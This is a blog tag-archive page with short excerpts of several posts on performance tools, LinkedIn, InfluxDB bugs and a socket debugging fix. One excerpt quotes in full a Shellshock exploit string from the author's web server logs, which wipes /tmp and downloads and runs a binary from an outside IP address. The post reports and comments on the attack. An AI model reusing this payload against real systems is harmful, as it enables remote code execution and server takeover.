Below you will find pages that utilize the taxonomy term “data use or abuse”
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A wonderful read on metrics, profiling, benchmarking
Brendan Gregg’s writings are always interesting and informative. I just saw a link on hacker news to a presentation he gave on “Broken Performance Tools”. It is wonderful, and succinctly explains many thing I’ve talked about here and elsewhere, but it goes far beyond what I’ve grumbled over. One of my favorite points in there is slide 83. “Most popular benchmarks are flawed” and a pointer to a paper (easy to google for).
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Has Alibaba been compromised?
I saw this attack in the day job’s web server logs today. From IP address 198.11.176.82, which appears to point back to Alibaba. This doesn’t mean anything in and of itself, until we look at the payload.
()%20%7B%20:;%20%7D;%20/bin/bash%20-c%20/x22rm%20-rf%20/tmp/*;echo%20wget%20http://115.28.231.237:999/htrdps%20-O%20/tmp/China.Z-thpwx%20%3E%3E%20/tmp/Run.sh;echo%20echo%20By%20China.Z%20%3E%3E%20/tmp/Run.sh;echo%20chmod%20777%20/tmp/China.Z-thpwx%20%3E%3E%20/tmp/Run.sh;echo%20/tmp/China.Z-thpwx%20%3E%3E%20/tmp/Run.sh;echo%20rm%20-rf%20/tmp/Run.sh%20%3E%3E%20/tmp/Run.sh;chmod%20777%20/tmp/Run.sh;/tmp/Run.sh/x22 This appears to be an attempt to exploit a bash hole. What is interesting is the IP address to pull the second stage payload from. Run a whois against that … I’ll wait.
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Why doesn't linkedin make removing a contact easy?
I don’t get this. Yeah, sure, your contacts are curated, and I don’t accept everyone. I need to see some aspect of a connection and be pretty sure they wont spam me personally or try to spam my contacts. So when I find out that this is what happens, I want to block their access to me. Which usually means un-connecting with them. So why does LinkedIn make this effectively impossible on the phone apps?
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And the 0.8.3 InfluxDB no longer works with the InfluxDB perl module
I ran into this a few weeks ago, and am just getting around to debugging it now. Traced the code, set up a debugger and followed the path of execution, and … and … Yup, its borked. So, I can submit a patch or 3 against the InfluxDB code, or roll a simpler more general Time Series Data Base interface that will talk to InfluxDB. And eventually kdb+. Since I wanted to code for that as well, I am looking more seriously at the second option.
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Solved the major socket bug ... and it was a layer 8 problem
I’d like to offer an excuse. But I can’t. It was one single missing newline. Just one. Missing. Newline. I changed my config file to use port 10000. I set up an nc listener on the remote host.
nc -k -l a.b.c.d 10000 Then I invoked the code. And the data showed up. Without a ()&(&%&$%*&(^ newline. That couldn’t possibly be it. Could it? No. Its way to freaking simple.
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InfluxDB cli is up on github
I know there is a node version, and I did try it before I wrote my own. Actually, the reason I wrote my own was that I tried it and … well … Link is here. And yes, the readme is borked about 1/2 way through. Doesn’t quite show the formatting of the output quite right. Will try to fix over the weekend, as I move this a far more feature complete bit.